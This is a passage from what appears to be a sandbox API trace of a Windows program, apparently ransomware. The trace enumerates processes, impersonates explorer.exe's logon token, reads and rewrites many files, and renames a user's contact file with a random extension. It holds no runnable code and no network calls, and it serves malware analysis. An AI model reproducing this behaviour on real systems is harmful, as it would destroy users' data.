szExeFile="lsm.exe")) returned 1 [0110.396] Process32NextW (in: hSnapshot=0x238, lppe=0x425fcf8 | out: lppe=0x425fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.397] Process32NextW (in: hSnapshot=0x238, lppe=0x425fcf8 | out: lppe=0x425fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x288, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.397] Process32NextW (in: hSnapshot=0x238, lppe=0x425fcf8 | out: lppe=0x425fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.398] Process32NextW (in: hSnapshot=0x238, lppe=0x425fcf8 | out: lppe=0x425fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.398] Process32NextW (in: hSnapshot=0x238, lppe=0x425fcf8 | out: lppe=0x425fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.399] Process32NextW (in: hSnapshot=0x238, lppe=0x425fcf8 | out: lppe=0x425fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.400] Process32NextW (in: hSnapshot=0x238, lppe=0x425fcf8 | out: lppe=0x425fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.400] Process32NextW (in: hSnapshot=0x238, lppe=0x425fcf8 | out: lppe=0x425fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x308, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0110.401] Process32NextW (in: hSnapshot=0x238, lppe=0x425fcf8 | out: lppe=0x425fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0110.402] CloseHandle (hObject=0x238) returned 1 [0110.402] OpenProcess (dwDesiredAccess=0x2000000, bInheritHandle=0, dwProcessId=0x464) returned 0x238 [0110.402] OpenProcessToken (in: ProcessHandle=0x238, DesiredAccess=0xf01ff, TokenHandle=0x425ff6c | out: TokenHandle=0x425ff6c*=0x254) returned 1 [0110.402] ImpersonateLoggedOnUser (hToken=0x254) returned 1 [0110.402] CloseHandle (hObject=0x238) returned 1 [0110.402] CloseHandle (hObject=0x254) returned 1 [0110.402] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0110.622] ReadFile (in: hFile=0x254, lpBuffer=0x3891358, nNumberOfBytesToRead=0x5599, lpNumberOfBytesRead=0x0, lpOverlapped=0x3891208 | out: lpBuffer=0x3891358*, lpNumberOfBytesRead=0x0, lpOverlapped=0x3891208) returned 1 [0110.623] RtlGetLastWin32Error () returned 0x3e5 [0110.623] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0110.623] ReadFile (in: hFile=0x278, lpBuffer=0x3896a50, nNumberOfBytesToRead=0x5711, lpNumberOfBytesRead=0x0, lpOverlapped=0x3896900 | out: lpBuffer=0x3896a50*, lpNumberOfBytesRead=0x0, lpOverlapped=0x3896900) returned 1 [0110.624] RtlGetLastWin32Error () returned 0x3e5 [0110.624] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0110.624] ReadFile (in: hFile=0x27c, lpBuffer=0x389c2c0, nNumberOfBytesToRead=0x9fe6, lpNumberOfBytesRead=0x0, lpOverlapped=0x389c170 | out: lpBuffer=0x389c2c0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x389c170) returned 1 [0110.625] RtlGetLastWin32Error () returned 0x3e5 [0110.625] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0110.625] ReadFile (in: hFile=0x274, lpBuffer=0x38a6400, nNumberOfBytesToRead=0x5235, lpNumberOfBytesRead=0x0, lpOverlapped=0x38a62b0 | out: lpBuffer=0x38a6400*, lpNumberOfBytesRead=0x0, lpOverlapped=0x38a62b0) returned 1 [0110.626] RtlGetLastWin32Error () returned 0x3e5 [0110.626] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0110.626] ReadFile (in: hFile=0x26c, lpBuffer=0x38ab790, nNumberOfBytesToRead=0x17b7, lpNumberOfBytesRead=0x0, lpOverlapped=0x38ab640 | out: lpBuffer=0x38ab790*, lpNumberOfBytesRead=0x0, lpOverlapped=0x38ab640) returned 1 [0110.627] RtlGetLastWin32Error () returned 0x3e5 [0110.627] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0110.628] WriteFile (in: hFile=0x238, lpBuffer=0x38806e0, nNumberOfBytesToWrite=0x10b1e, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3880590 | out: lpBuffer=0x38806e0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3880590) returned 0x0 [0110.628] RtlGetLastWin32Error () returned 0x3e5 [0110.628] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0110.628] ReadFile (in: hFile=0x270, lpBuffer=0x38ad0a0, nNumberOfBytesToRead=0x9c48, lpNumberOfBytesRead=0x0, lpOverlapped=0x38acf50 | out: lpBuffer=0x38ad0a0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x38acf50) returned 1 [0110.629] RtlGetLastWin32Error () returned 0x3e5 [0110.630] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0110.630] ReadFile (in: hFile=0x268, lpBuffer=0x38b6e40, nNumberOfBytesToRead=0x16dd5, lpNumberOfBytesRead=0x0, lpOverlapped=0x38b6cf0 | out: lpBuffer=0x38b6e40*, lpNumberOfBytesRead=0x0, lpOverlapped=0x38b6cf0) returned 1 [0110.631] RtlGetLastWin32Error () returned 0x3e5 [0110.631] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0110.631] ReadFile (in: hFile=0x260, lpBuffer=0x38cdd70, nNumberOfBytesToRead=0x13c67, lpNumberOfBytesRead=0x0, lpOverlapped=0x38cdc20 | out: lpBuffer=0x38cdd70*, lpNumberOfBytesRead=0x0, lpOverlapped=0x38cdc20) returned 1 [0110.632] RtlGetLastWin32Error () returned 0x3e5 [0110.632] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0110.632] ReadFile (in: hFile=0x264, lpBuffer=0x38e1b30, nNumberOfBytesToRead=0x113d2, lpNumberOfBytesRead=0x0, lpOverlapped=0x38e19e0 | out: lpBuffer=0x38e1b30*, lpNumberOfBytesRead=0x0, lpOverlapped=0x38e19e0) returned 1 [0110.633] RtlGetLastWin32Error () returned 0x3e5 [0110.634] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0110.634] ReadFile (in: hFile=0x25c, lpBuffer=0x38f3060, nNumberOfBytesToRead=0x6e01, lpNumberOfBytesRead=0x0, lpOverlapped=0x38f2f10 | out: lpBuffer=0x38f3060*, lpNumberOfBytesRead=0x0, lpOverlapped=0x38f2f10) returned 1 [0110.634] RtlGetLastWin32Error () returned 0x3e5 [0110.635] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0110.635] ReadFile (in: hFile=0x258, lpBuffer=0x38f9fc0, nNumberOfBytesToRead=0x7ad9, lpNumberOfBytesRead=0x0, lpOverlapped=0x38f9e70 | out: lpBuffer=0x38f9fc0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x38f9e70) returned 1 [0110.636] RtlGetLastWin32Error () returned 0x3e5 [0110.636] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0110.636] ReadFile (in: hFile=0x280, lpBuffer=0x3901bf8, nNumberOfBytesToRead=0x6615, lpNumberOfBytesRead=0x0, lpOverlapped=0x3901aa8 | out: lpBuffer=0x3901bf8*, lpNumberOfBytesRead=0x0, lpOverlapped=0x3901aa8) returned 1 [0110.637] RtlGetLastWin32Error () returned 0x3e5 [0110.637] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0110.637] ReadFile (in: hFile=0x288, lpBuffer=0x3908368, nNumberOfBytesToRead=0xa2ff, lpNumberOfBytesRead=0x0, lpOverlapped=0x3908218 | out: lpBuffer=0x3908368*, lpNumberOfBytesRead=0x0, lpOverlapped=0x3908218) returned 1 [0110.638] RtlGetLastWin32Error () returned 0x3e5 [0110.638] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0110.638] ReadFile (in: hFile=0x290, lpBuffer=0x39127c0, nNumberOfBytesToRead=0xd235, lpNumberOfBytesRead=0x0, lpOverlapped=0x3912670 | out: lpBuffer=0x39127c0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x3912670) returned 1 [0110.639] RtlGetLastWin32Error () returned 0x3e5 [0110.639] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0110.639] ReadFile (in: hFile=0x2e8, lpBuffer=0x391fb50, nNumberOfBytesToRead=0x126cc, lpNumberOfBytesRead=0x0, lpOverlapped=0x391fa00 | out: lpBuffer=0x391fb50*, lpNumberOfBytesRead=0x0, lpOverlapped=0x391fa00) returned 1 [0110.640] RtlGetLastWin32Error () returned 0x3e5 [0110.640] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0110.641] WriteFile (in: hFile=0x254, lpBuffer=0x3891358, nNumberOfBytesToWrite=0x5599, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3891208 | out: lpBuffer=0x3891358, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3891208) returned 0x0 [0110.641] RtlGetLastWin32Error () returned 0x3e5 [0110.641] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0110.642] WriteFile (in: hFile=0x278, lpBuffer=0x3896a50, nNumberOfBytesToWrite=0x5711, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3896900 | out: lpBuffer=0x3896a50, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3896900) returned 0x0 [0110.642] RtlGetLastWin32Error () returned 0x3e5 [0110.642] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0110.642] WriteFile (in: hFile=0x27c, lpBuffer=0x389c2c0, nNumberOfBytesToWrite=0x9fe6, lpNumberOfBytesWritten=0x0, lpOverlapped=0x389c170 | out: lpBuffer=0x389c2c0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x389c170) returned 0x0 [0110.643] RtlGetLastWin32Error () returned 0x3e5 [0110.643] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0110.643] WriteFile (in: hFile=0x274, lpBuffer=0x38a6400, nNumberOfBytesToWrite=0x5235, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38a62b0 | out: lpBuffer=0x38a6400, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38a62b0) returned 0x0 [0110.643] RtlGetLastWin32Error () returned 0x3e5 [0110.643] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0110.643] WriteFile (in: hFile=0x26c, lpBuffer=0x38ab790, nNumberOfBytesToWrite=0x17b7, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38ab640 | out: lpBuffer=0x38ab790, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38ab640) returned 0x0 [0110.644] RtlGetLastWin32Error () returned 0x3e5 [0110.644] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0110.644] WriteFile (in: hFile=0x238, lpBuffer=0x38805b8, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3880590 | out: lpBuffer=0x38805b8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3880590) returned 0x0 [0110.644] RtlGetLastWin32Error () returned 0x3e5 [0110.644] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0110.644] WriteFile (in: hFile=0x270, lpBuffer=0x38ad0a0, nNumberOfBytesToWrite=0x9c48, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38acf50 | out: lpBuffer=0x38ad0a0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38acf50) returned 0x0 [0110.645] RtlGetLastWin32Error () returned 0x3e5 [0110.645] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0110.646] WriteFile (in: hFile=0x268, lpBuffer=0x38b6e40, nNumberOfBytesToWrite=0x16dd5, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38b6cf0 | out: lpBuffer=0x38b6e40, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38b6cf0) returned 0x0 [0110.646] RtlGetLastWin32Error () returned 0x3e5 [0110.646] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0110.647] WriteFile (in: hFile=0x260, lpBuffer=0x38cdd70, nNumberOfBytesToWrite=0x13c67, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38cdc20 | out: lpBuffer=0x38cdd70, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38cdc20) returned 0x0 [0110.647] RtlGetLastWin32Error () returned 0x3e5 [0110.647] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0110.648] WriteFile (in: hFile=0x264, lpBuffer=0x38e1b30, nNumberOfBytesToWrite=0x113d2, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38e19e0 | out: lpBuffer=0x38e1b30, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38e19e0) returned 0x0 [0110.648] RtlGetLastWin32Error () returned 0x3e5 [0110.648] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0110.649] WriteFile (in: hFile=0x25c, lpBuffer=0x38f3060, nNumberOfBytesToWrite=0x6e01, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38f2f10 | out: lpBuffer=0x38f3060, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38f2f10) returned 0x0 [0110.649] RtlGetLastWin32Error () returned 0x3e5 [0110.649] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0110.649] WriteFile (in: hFile=0x258, lpBuffer=0x38f9fc0, nNumberOfBytesToWrite=0x7ad9, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38f9e70 | out: lpBuffer=0x38f9fc0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38f9e70) returned 0x0 [0110.649] RtlGetLastWin32Error () returned 0x3e5 [0110.649] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0110.650] WriteFile (in: hFile=0x280, lpBuffer=0x3901bf8, nNumberOfBytesToWrite=0x6615, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3901aa8 | out: lpBuffer=0x3901bf8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3901aa8) returned 0x0 [0110.650] RtlGetLastWin32Error () returned 0x3e5 [0110.650] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0110.650] WriteFile (in: hFile=0x288, lpBuffer=0x3908368, nNumberOfBytesToWrite=0xa2ff, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3908218 | out: lpBuffer=0x3908368, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3908218) returned 0x0 [0110.651] RtlGetLastWin32Error () returned 0x3e5 [0110.651] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0110.651] WriteFile (in: hFile=0x290, lpBuffer=0x39127c0, nNumberOfBytesToWrite=0xd235, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3912670 | out: lpBuffer=0x39127c0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3912670) returned 0x0 [0110.651] RtlGetLastWin32Error () returned 0x3e5 [0110.651] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0110.652] WriteFile (in: hFile=0x2e8, lpBuffer=0x391fb50, nNumberOfBytesToWrite=0x126cc, lpNumberOfBytesWritten=0x0, lpOverlapped=0x391fa00 | out: lpBuffer=0x391fb50, lpNumberOfBytesWritten=0x0, lpOverlapped=0x391fa00) returned 0x0 [0110.652] RtlGetLastWin32Error () returned 0x3e5 [0110.652] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0110.652] WriteFile (in: hFile=0x254, lpBuffer=0x3891230, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3891208 | out: lpBuffer=0x3891230, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3891208) returned 0x0 [0110.653] RtlGetLastWin32Error () returned 0x3e5 [0110.653] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0110.653] WriteFile (in: hFile=0x278, lpBuffer=0x3896928, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3896900 | out: lpBuffer=0x3896928, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3896900) returned 0x0 [0110.653] RtlGetLastWin32Error () returned 0x3e5 [0110.653] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0110.653] WriteFile (in: hFile=0x27c, lpBuffer=0x389c198, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x389c170 | out: lpBuffer=0x389c198, lpNumberOfBytesWritten=0x0, lpOverlapped=0x389c170) returned 0x0 [0110.653] RtlGetLastWin32Error () returned 0x3e5 [0110.653] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0110.653] WriteFile (in: hFile=0x274, lpBuffer=0x38a62d8, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38a62b0 | out: lpBuffer=0x38a62d8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38a62b0) returned 0x0 [0110.653] RtlGetLastWin32Error () returned 0x3e5 [0110.653] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0110.654] WriteFile (in: hFile=0x26c, lpBuffer=0x38ab668, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38ab640 | out: lpBuffer=0x38ab668, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38ab640) returned 0x0 [0110.654] RtlGetLastWin32Error () returned 0x3e5 [0110.654] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0110.654] CloseHandle (hObject=0x238) returned 1 [0110.688] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xea) returned 0x207d648 [0110.688] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Contacts\\Administrator.contact" (normalized: "c:\\users\\keecfmwgj\\contacts\\administrator.contact"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Contacts\\Administrator.contact.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\contacts\\administrator.contact.06ak3t5y")) returned 1 [0110.689] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x207d648) returned 1 [0110.689] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30ee2d8) returned 1 [0110.689] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x3880590) returned 1 [0110.689] 